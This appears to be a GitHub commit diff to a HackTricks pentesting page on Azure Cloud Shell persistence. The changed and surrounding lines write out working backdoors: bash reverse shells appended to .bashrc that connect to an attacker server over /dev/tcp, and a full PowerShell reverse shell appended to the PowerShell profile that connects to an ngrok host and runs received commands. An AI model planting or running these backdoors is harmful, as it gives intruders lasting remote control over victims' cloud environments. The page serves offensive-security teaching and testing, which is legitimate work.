Skip to content

Commit c5e6f1f

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
2 parents 67102dc + b334a08 commit c5e6f1f

File tree

2 files changed

+3
-3
lines changed

2 files changed

+3
-3
lines changed

searchindex.js

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ Azure Cloud Shell offers command-line access to manage Azure resources with pers
1212
Example backdoor in .bashrc:
1313

1414
```bash
15-
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
15+
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
1616
```
1717

1818
This backdoor can execute commands even 5 minutes after the cloud shell is finished by the user.
@@ -45,7 +45,7 @@ touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
4545
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
4646

4747
# Bash backdoor
48-
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
48+
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
4949

5050
# PS backdoor
5151
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1

0 commit comments

Comments
 (0)